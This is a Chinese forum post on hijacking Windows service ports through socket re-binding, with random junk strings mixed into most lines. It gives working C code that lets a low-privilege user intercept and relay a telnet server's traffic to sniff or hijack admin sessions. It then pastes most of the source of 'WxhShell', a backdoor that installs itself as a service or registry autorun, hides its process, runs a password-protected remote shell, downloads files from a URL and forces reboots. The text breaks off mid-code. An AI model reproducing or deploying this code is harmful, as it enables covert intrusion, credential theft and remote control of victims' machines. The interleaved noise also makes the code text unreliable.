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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ! R b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0P+B-K>n  
\*wQ%_N5  
  saddr.sin_family = AF_INET; ~ z< &vQ=  
#`g..3ey  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); E$4_.Z8sRw  
|v Gb,&3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (Yv)%2  
"X[sW%# F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /Ezx'h3Q  
2\b 2W_  
  这意味着什么?意味着可以进行如下的攻击: x;F^7c1  
B#A .-nb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?Nbc#0pb7  
>~%EB?8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)  Y ,  
1#Ls4+]5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tc|`cB3f  
Yn~N;VUA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8et*q3D7`  
brdfj E8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 , GU|3  
un&Z' .   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~xp(k  
SU` RHAo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >u-6,[(5X*  
K> rZJ[a  
  #include P3W<a4 ==  
  #include ^zfO=XN  
  #include #A:+|{H"  
  #include    }C'H@:/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nt5x[xa  
  int main() ZCcKY6b  
  { sOf;I]E|  
  WORD wVersionRequested; .{=|N8*py8  
  DWORD ret; id" -eMwp  
  WSADATA wsaData; q!qOy/}D  
  BOOL val; Ir,3' G  
  SOCKADDR_IN saddr; -|FSdzvg  
  SOCKADDR_IN scaddr; v/s6!3pnl  
  int err; i3SrsVSG  
  SOCKET s; {9,!XiF.:  
  SOCKET sc; D)_67w|u|  
  int caddsize; VEc^Ap1?'  
  HANDLE mt; 1 7..  
  DWORD tid;   O:I"<w9_1  
  wVersionRequested = MAKEWORD( 2, 2 ); xMpQPTte  
  err = WSAStartup( wVersionRequested, &wsaData ); ; 1^ ([>|  
  if ( err != 0 ) { +HpPVuV  
  printf("error!WSAStartup failed!\n"); S>6f0\F/Y%  
  return -1; )tD[Ffvr  
  } ^^;#Si  
  saddr.sin_family = AF_INET; 9_4bw9 A  
   wuV*!oefo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 MB"TwtW  
y$Y*%D^w  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); c*@#0B  
  saddr.sin_port = htons(23); "R!) "B==  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^W*T~V*8  
  { &yabxl_  
  printf("error!socket failed!\n"); e  -yL  
  return -1; C3hQT8~  
  } 4[.DQ#r  
  val = TRUE; p-S&Wq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的  45qSt2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G9YfJ?I  
  { f)b+>!  
  printf("error!setsockopt failed!\n"); CD"D^\z  
  return -1; 89kxRH\IhG  
  } ;Pd nE~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &hSABtr}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )*CDufRFz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5j{jbo =!  
r2xXS&9!|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) M];?W  
  { N}/|B}  
  ret=GetLastError(); h;lg^zlTb  
  printf("error!bind failed!\n"); "{@Q..hxC  
  return -1; W[R^5{k`  
  } [d3i _^\  
  listen(s,2); Z+%w|Sx  
  while(1) dln1JZ!  
  { h8)m2KrZ!.  
  caddsize = sizeof(scaddr); DDwj[' R  
  //接受连接请求  A|90Ps  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); kgZiyPcw  
  if(sc!=INVALID_SOCKET) YPU*T&~  
  { ox&PFI0Gn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4owM;y  
  if(mt==NULL) Ht,dMt>:  
  { hh1 ?/  
  printf("Thread Creat Failed!\n"); F3Y/Miw  
  break; \$B%TY  
  } yd>b2 M  
  } +! F+m V9  
  CloseHandle(mt); $.0l% $7  
  } Pqtk1=U  
  closesocket(s); [vV5@nP:  
  WSACleanup(); 6A ;,Ph2  
  return 0; VHbQLJ0  
  }   O'L9 s>B  
  DWORD WINAPI ClientThread(LPVOID lpParam) $[*QsU%%  
  { u &qFE=5:  
  SOCKET ss = (SOCKET)lpParam; Al0ls  
  SOCKET sc; V0 O6\)/.  
  unsigned char buf[4096]; @}oY6cW;B*  
  SOCKADDR_IN saddr; q[ -YXO  
  long num; Jjr&+Q^3Tu  
  DWORD val; v*[oe  
  DWORD ret; -KA Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KccIYn~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i .GJO +K  
  saddr.sin_family = AF_INET; 4Y/kf%]]A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); AW')*{/(Ii  
  saddr.sin_port = htons(23); Fo:60)Lr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;NJx9)7<  
  { 5IJm_oy  
  printf("error!socket failed!\n"); 4b/>ZHFOF;  
  return -1; >DSD1i+N  
  } # ^q87y  
  val = 100; l =X6m(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z,+LPr  
  { F39H@%R  
  ret = GetLastError(); 921m'WE  
  return -1; M}Obvl  
  } O+w82!<:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5 >c,#*  
  { W3M1> (  
  ret = GetLastError(); n8RE  
  return -1; a@ v}j&  
  } h|Ah\P?o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D9 \!97  
  { NSV;R~"  
  printf("error!socket connect failed!\n"); gZW(z  
  closesocket(sc); >gSiH#>  
  closesocket(ss); 7mT iO?/y<  
  return -1; TYH4r q &  
  }  {Yc#XP  
  while(1) bSvr8FY3d  
  { >2BWie?T  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H)rE-7(f!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &WV&_z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /y-eVu6  
  num = recv(ss,buf,4096,0); fP>~ @^  
  if(num>0) SF. Is=b  
  send(sc,buf,num,0); vP @\"  
  else if(num==0) =6Q\78b  
  break; ?igA+(.  
  num = recv(sc,buf,4096,0); p*5QV  
  if(num>0) ~bnyk%S o  
  send(ss,buf,num,0); VoG:3qN  
  else if(num==0) T? e(m  
  break; 2qgm(jo *y  
  } ?qt.+2:  
  closesocket(ss); {^V9?^?d (  
  closesocket(sc); C &~s<tcn  
  return 0 ; hYSzr-)  
  } Pu0 <Clh  
# KgDOCQH  
3IyNnm=u  
========================================================== 0Bn35.K  
0=erf62=  
下边附上一个代码,,WXhSHELL w'Vm'zo  
ggL^*MV  
========================================================== '?O_(%3F0  
4m"6$  
#include "stdafx.h" 'wT !X[jF  
KSgYf;  
#include <stdio.h> (`)ZR %i  
#include <string.h> S-2@:E  
#include <windows.h> >[r,X$]  
#include <winsock2.h> x"83[0ib  
#include <winsvc.h> HE{JiAf  
#include <urlmon.h> kD\7wz,ui  
yLgv<%8f  
#pragma comment (lib, "Ws2_32.lib") oU)Hco"_k  
#pragma comment (lib, "urlmon.lib") 5i1E 5@~  
(,XbxDfM  
#define MAX_USER   100 // 最大客户端连接数 VBq|j"o0"  
#define BUF_SOCK   200 // sock buffer g 5@P  
#define KEY_BUFF   255 // 输入 buffer k esuM3  
C;\R 62'  
#define REBOOT     0   // 重启 aESlb H  
#define SHUTDOWN   1   // 关机 2kkqPBc_  
!L3\B_#  
#define DEF_PORT   5000 // 监听端口 M;j)F  
]rS:# LK  
#define REG_LEN     16   // 注册表键长度 uFYcVvbT@  
#define SVC_LEN     80   // NT服务名长度 i1JVvNMQ,  
y{g"w  
// 从dll定义API ko+fJ&$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _uq[D`=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }MIg RQ9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X0 ^~`g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EN/r{Cm$B  
mhW*rH*m  
// wxhshell配置信息 }Hy4^2B  
struct WSCFG { /*1p|c^  
  int ws_port;         // 监听端口 ! z6T_;s  
  char ws_passstr[REG_LEN]; // 口令 r0/aw  
  int ws_autoins;       // 安装标记, 1=yes 0=no )F'r-I%Hi  
  char ws_regname[REG_LEN]; // 注册表键名 77H"=  
  char ws_svcname[REG_LEN]; // 服务名 :um]a70  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .X\9vVJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7fXta|eP0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {v,NNKQ4x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3Q!)bMv \  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y|nC_7&Bv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 tRVz4fk[G  
K};~A?ET,h  
}; 1"S~#  
P^^WViVX  
// default Wxhshell configuration Y+nk:9  
struct WSCFG wscfg={DEF_PORT, ' '<3;  
    "xuhuanlingzhe", |crm{]7X  
    1, L/xTW  
    "Wxhshell", !6FO[^h||H  
    "Wxhshell", [79iC$8B|  
            "WxhShell Service", ksy]t |  
    "Wrsky Windows CmdShell Service", f-`C1|\w  
    "Please Input Your Password: ", e]*@|e4b  
  1, U W' @3#<?  
  "http://www.wrsky.com/wxhshell.exe", %\] x}IC  
  "Wxhshell.exe" trz &]v=:  
    }; |a!]Iqz"N  
@kWRI*m  
// 消息定义模块 z#*> u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j@.^3:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Mhu|S)hn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &P&VJLAe  
char *msg_ws_ext="\n\rExit."; Sf'uKSX1%  
char *msg_ws_end="\n\rQuit."; D}~uxw;[^  
char *msg_ws_boot="\n\rReboot..."; !W/"Z!k  
char *msg_ws_poff="\n\rShutdown..."; vLIaTr gz  
char *msg_ws_down="\n\rSave to "; 9>r@wK'Pn  
SNc$!  
char *msg_ws_err="\n\rErr!"; |+Cd2[hN  
char *msg_ws_ok="\n\rOK!"; |_m N:(3  
Jd28/X5&  
char ExeFile[MAX_PATH]; h9kwyhd"  
int nUser = 0; \49s;\I]  
HANDLE handles[MAX_USER]; B^@X1EE  
int OsIsNt; Xbu P_U'  
ihd^P]  
SERVICE_STATUS       serviceStatus; UsgrI>|l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TjS &V  
O+"a 0:GM  
// 函数声明  vg8Yc  
int Install(void); }"M5"?  
int Uninstall(void); ]cM,m2^2  
int DownloadFile(char *sURL, SOCKET wsh); r2m&z%N &  
int Boot(int flag); a5?Yh<cJ  
void HideProc(void); a= (vS  
int GetOsVer(void); \Vx_$E  
int Wxhshell(SOCKET wsl); 1ZY~qP+n+  
void TalkWithClient(void *cs); g\1|<jb3  
int CmdShell(SOCKET sock); .u:aX$t+  
int StartFromService(void); AP+%T   
int StartWxhshell(LPSTR lpCmdLine); 6 IRa$h>H  
@plh'f}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M{g.x4M@W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O>d [;Q  
sAS[wcOQ  
// 数据结构和表定义 RT<HiVr`  
SERVICE_TABLE_ENTRY DispatchTable[] = >%LY0(hY3  
{ rgF4 W8  
{wscfg.ws_svcname, NTServiceMain}, h_5CWQSi  
{NULL, NULL} O!P7Wu  
}; oQ}K_}{>  
9qvl9,*g  
// 自我安装 ;_#<a*f  
int Install(void) M9~6ry-_  
{ $"ACg!=M  
  char svExeFile[MAX_PATH]; ;tC$O~X  
  HKEY key; Y|S>{$W  
  strcpy(svExeFile,ExeFile); V[0 ZNT&  
&qP0-x)  
// 如果是win9x系统,修改注册表设为自启动 bnZ H  
if(!OsIsNt) { [l}H%S   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x/0loW?q^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A<+1:@0  
  RegCloseKey(key); !oYNJE Y7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [lGxys)J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B+z>$6  
  RegCloseKey(key); m qwJya  
  return 0; Aw&0R"{  
    } LfN,aW  
  } Ax*xa6_2  
} mrBK{@n  
else { <R?S  
j/;wxKW  
// 如果是NT以上系统,安装为系统服务 ]f>0P3O5&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pKU(4&BxX  
if (schSCManager!=0) :LCyxLI  
{ {DZ xK(  
  SC_HANDLE schService = CreateService $b)t`r+  
  ( 5\}E4y  
  schSCManager, qRHT~ta-?  
  wscfg.ws_svcname, 2I283%xr  
  wscfg.ws_svcdisp, QD-`jV3  
  SERVICE_ALL_ACCESS, Lngf,Of.e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , dDa&:L  
  SERVICE_AUTO_START, W#2} EX  
  SERVICE_ERROR_NORMAL, "R"{xOQl  
  svExeFile, @w;$M]o1  
  NULL, )iid9K<HB  
  NULL, /D964VR1M\  
  NULL, @9~x@[  
  NULL, ^6J*:(eM  
  NULL Ns]$+|  
  ); jig3M N  
  if (schService!=0) v3{%U1>}v  
  { z[@i=avPG  
  CloseServiceHandle(schService); m\70&%v  
  CloseServiceHandle(schSCManager); F"1tPWn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N 1ydL  
  strcat(svExeFile,wscfg.ws_svcname); gq@8Z AWn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *5{1.7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2.vmZaKP  
  RegCloseKey(key); CY.4>,  
  return 0;  : 76zRF  
    } 8`6G_:&X  
  } DF UTQ:N  
  CloseServiceHandle(schSCManager); ;y-:)7J  
} j{D tjV8  
} &xZSM,  
)+ 'r-AF*  
return 1; UyFC\vQ  
} 4sW'pH  
u%lUi2P2E  
// 自我卸载 Uq~b4X$  
int Uninstall(void) UD.ZnE{"  
{ xGFbh4H=8p  
  HKEY key; O3mw5<%15  
T8&eaAoo  
if(!OsIsNt) { 4I .'./u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OZC yg/K  
  RegDeleteValue(key,wscfg.ws_regname); jFip-=T{4  
  RegCloseKey(key); }9glr]=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jGT|Xo>t  
  RegDeleteValue(key,wscfg.ws_regname); hA;Ai:8  
  RegCloseKey(key); %hlgLM  
  return 0; sVGQSJJ5  
  } y0-UO+ ;  
} }Q@~_3,UJ  
} RAnF=1[v  
else { v+}${h9  
:LlZ#V2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A}}dc:$C  
if (schSCManager!=0) IZ\fvYp  
{ *}T|T%L4)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5SZa, +]  
  if (schService!=0) |5ge4,}0  
  { 3rd8mh&l  
  if(DeleteService(schService)!=0) { W;l0GxOxQ  
  CloseServiceHandle(schService); Ke=+D'=  
  CloseServiceHandle(schSCManager); 6kMkFZ}+  
  return 0; aGfp"NtL  
  } e]CoYuPr  
  CloseServiceHandle(schService); "R=~-, ~  
  } |,~ )/o_R  
  CloseServiceHandle(schSCManager); z' Z[mrLq  
} :KR KD  
} ?#fm-5WIi  
!|j|rYi-  
return 1; E m^Dg9  
} hgzNEx%^q  
qozvNJm)  
// 从指定url下载文件 [S8*b^t4  
int DownloadFile(char *sURL, SOCKET wsh) MT:VQ>f C  
{  UO#`Ak  
  HRESULT hr; QleVW  
char seps[]= "/"; |i #06jIq  
char *token; =FI[/"476  
char *file; bC~I}^i\  
char myURL[MAX_PATH]; 5pC}ZgEa<  
char myFILE[MAX_PATH]; t`{T:Tjc  
1e7I2g  
strcpy(myURL,sURL); ek U%^R<  
  token=strtok(myURL,seps); (9kR'kr  
  while(token!=NULL) WUo\jm[yr  
  { >\3\&[#"  
    file=token; Ok|Dh;1_  
  token=strtok(NULL,seps); VIN0kRQ#  
  } RgW#z-PZF  
aWH  
GetCurrentDirectory(MAX_PATH,myFILE); RgL>0s  
strcat(myFILE, "\\"); p Pag@L  
strcat(myFILE, file); gu%i|-}  
  send(wsh,myFILE,strlen(myFILE),0); RjTGm=1w  
send(wsh,"...",3,0); <P'FqQ]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'TuaP `]<  
  if(hr==S_OK) !c{F{ t-a  
return 0; $IjI{%  
else U8y?S]}vo  
return 1; )J0h\ky  
Cl!(F 6K*  
} %?aq1 =B  
2H0BNrYM  
// 系统电源模块 Kd5 8'$  
int Boot(int flag) `'sD(e  
{ !lo /L  
  HANDLE hToken; al-rgh  
  TOKEN_PRIVILEGES tkp; NdSuOkwwt  
y Vm>Pj6  
  if(OsIsNt) { X{Hh^H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M8<Vd1-5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J=gFiBw  
    tkp.PrivilegeCount = 1; >C!^%e;m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @SpP"/)JY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZTz07Jt  
if(flag==REBOOT) { |FM*1Q[1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <Z<meB[g  
  return 0; a'/i/@h  
} h.F=Fhx/1  
else { k4hk* 0Jq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +xU({/  
  return 0; l"1D' Hk  
} rUmP_  
  } FMI1[|:;  
  else { lw[c+F7  
if(flag==REBOOT) { FKu8R%9xn%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ed}#S~4q  
  return 0; Y&8,f|{R  
} GGr82)E  
else { 2 \}J*0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %lWOW2~R  
  return 0; qP<D9k>  
} SY[3O  
} LX oJw$C  
Qni`k)4  
return 1; `>`b;A4  
} |:JT+a1  
: ?BK A0E  
// win9x进程隐藏模块 S\< i`q  
void HideProc(void) ^.\O)K {h  
{ M}#DX=NZc  
uf9&o#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QDV+(  
  if ( hKernel != NULL ) {?IbbT  
  { kaB4[u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |rwY   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rzn,N FI  
    FreeLibrary(hKernel); \yFUQq:  
  } FX|&o >S(8  
{&mH fN  
return; >h#w~@e::  
} Es)|#0m\x@  
Y$\|rD^f  
// 获取操作系统版本 \#t)B J2  
int GetOsVer(void) X(MS!RV  
{ '!8-/nlv1  
  OSVERSIONINFO winfo; ocJG4#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9jqsEd-SW  
  GetVersionEx(&winfo); ]VLseF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?_^{9q%9  
  return 1; ZIc.MNq  
  else _UP fqC ?  
  return 0; o!K DeY  
} dCTyfXou[=  
OQB7C0+ &  
// 客户端句柄模块 H(K PU1lDw  
int Wxhshell(SOCKET wsl) [K\b"^=<  
{ 2wIJ;rh  
  SOCKET wsh; T-6<qh  
  struct sockaddr_in client; m 0vW<  
  DWORD myID; 0FI |7  
-|KZOea  
  while(nUser<MAX_USER) PBCGC^0{  
{ =(D"(OsQ/  
  int nSize=sizeof(client); h )5S4)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @;P ;iI  
  if(wsh==INVALID_SOCKET) return 1; W Eif&<Y  
pC>h"Hy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U].]K   
if(handles[nUser]==0) jJNCNH*0  
  closesocket(wsh); _7<{+Zzm  
else jxkjPf?  
  nUser++; s{yw1:  
  } a~$Y;C_#<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3S7"P$q  
z77>W}d  
  return 0; }0Ns&6)xG  
} ,Q7;(&x~  
?V^7`3F  
// 关闭 socket qz>R"pj0g  
void CloseIt(SOCKET wsh) GgG #]a!_f  
{ Tgr,1) T  
closesocket(wsh); uoI7' :Nv  
nUser--; +lqGf  
ExitThread(0); ji1vLu4|t  
} 0zB[seyE  
"O4A&PJD  
// 客户端请求句柄 ]>VG}e~b  
void TalkWithClient(void *cs) >- \bLr  
{ wqF?o  
jTcv&`fAz  
  SOCKET wsh=(SOCKET)cs; X&?s:A  
  char pwd[SVC_LEN]; n%7?G=_kj  
  char cmd[KEY_BUFF]; lnyfAq}w  
char chr[1]; Y -a   
int i,j; LsuOmB|^  
(jDz[b#OPz  
  while (nUser < MAX_USER) { }r5yAE  
MkPQ@so  
if(wscfg.ws_passstr) { UE.kR+1  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KaNs>[a8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z%qtAPd  
  //ZeroMemory(pwd,KEY_BUFF); 3>aEP5  
      i=0; bPU i44P  
  while(i<SVC_LEN) { ?zf3Fn2y  
zR^Gy"  
  // 设置超时 gYc]z5`  
  fd_set FdRead; Oti*"dV\::  
  struct timeval TimeOut; \MOwp@|y  
  FD_ZERO(&FdRead); j,+]tHC-  
  FD_SET(wsh,&FdRead); ]$[sfPKA  
  TimeOut.tv_sec=8; ujX; wGje  
  TimeOut.tv_usec=0; $}gM JG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k_=yb^6[U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ptv'.<-  
T+F]hv'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Qw}1q!89  
  pwd=chr[0]; TB! I  
  if(chr[0]==0xd || chr[0]==0xa) { -$Hu $Y}>  
  pwd=0; wgS,U }/i  
  break; F#sm^%_2  
  } SXm%X(JU  
  i++; RDp  
    } (O5Yd 6u  
rm,`M  
  // 如果是非法用户,关闭 socket W8^m-B&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zl|z4j'Irc  
} YOD.y!.zq7  
TQF+aP8[L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GBbnR:hM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #4msBax4  
x?+w8jSR  
while(1) { :x*)o+  
T`ibulp  
  ZeroMemory(cmd,KEY_BUFF); "0P`=n  
=Xh)34q  
      // 自动支持客户端 telnet标准   @i1e0;\  
  j=0; &Vz$0{d5  
  while(j<KEY_BUFF) { 3S:Lce'f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :hX[8u  
  cmd[j]=chr[0]; qq| 5[I.?  
  if(chr[0]==0xa || chr[0]==0xd) { `GCoi ?n7  
  cmd[j]=0; "tzu.V-  
  break; 9Rnypzds  
  } N7+L@CC6T  
  j++; 6QX m] <  
    } `OBzOM  
kt/,& oKI  
  // 下载文件 Q!e560@  
  if(strstr(cmd,"http://")) {  6st  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :CyHo6o9  
  if(DownloadFile(cmd,wsh)) J,2V&WuV0r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D0r viO  
  else FPDTw8" B;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R-13DVK  
  } f<Hi=Qpm  
  else { li r=0oq<  
T }}2J/sj  
    switch(cmd[0]) { 6}"c4 ^k6  
  KUAzJ[>  
  // 帮助 Wh)D_  
  case '?': { kOYUxr.b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4+RR`I8$Ge  
    break; @%]A,\  
  } 4I$Y(E}  
  // 安装 AI-*5[w#A  
  case 'i': { <xOX+D  
    if(Install()) -zR<m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +WH\,E  
    else &]nx^C8V;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ky2 bj}"p9  
    break; ci~#G[_$S  
    } ^`&'u_B!+  
  // 卸载 r7m~.M+W"  
  case 'r': { CJ IuMsZ  
    if(Uninstall()) zw/AZLS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zR"c j  
    else D@O `"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4ba*Nc*Yc  
    break; Z[oF4 z   
    } -K64J5|b7  
  // 显示 wxhshell 所在路径 2B ]q1>a!  
  case 'p': { oJ74Mra  
    char svExeFile[MAX_PATH]; 35<A :jKS  
    strcpy(svExeFile,"\n\r"); r )F;8(  
      strcat(svExeFile,ExeFile); h.jJAVPi  
        send(wsh,svExeFile,strlen(svExeFile),0); 4l$OO;B  
    break; |kYlh5/c d  
    } ] G&*HMtp  
  // 重启 b(iF0U>&  
  case 'b': { )kpEcMlR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N~v6K}`}  
    if(Boot(REBOOT)) wVBK Vb9N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i(}Pr A  
    else { d1<";b2Jt^  
    closesocket(wsh); -50DGA,K6  
    ExitThread(0); ;CYoc4e  
    } <^5!]8*O  
    break; 2{-29bq  
    } bdg6B7%Q  
  // 关机 /( Wq  
  case 'd': { zBF~:Uc`B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u_(~zs.N]  
    if(Boot(SHUTDOWN)) ;tjOEmIiU  
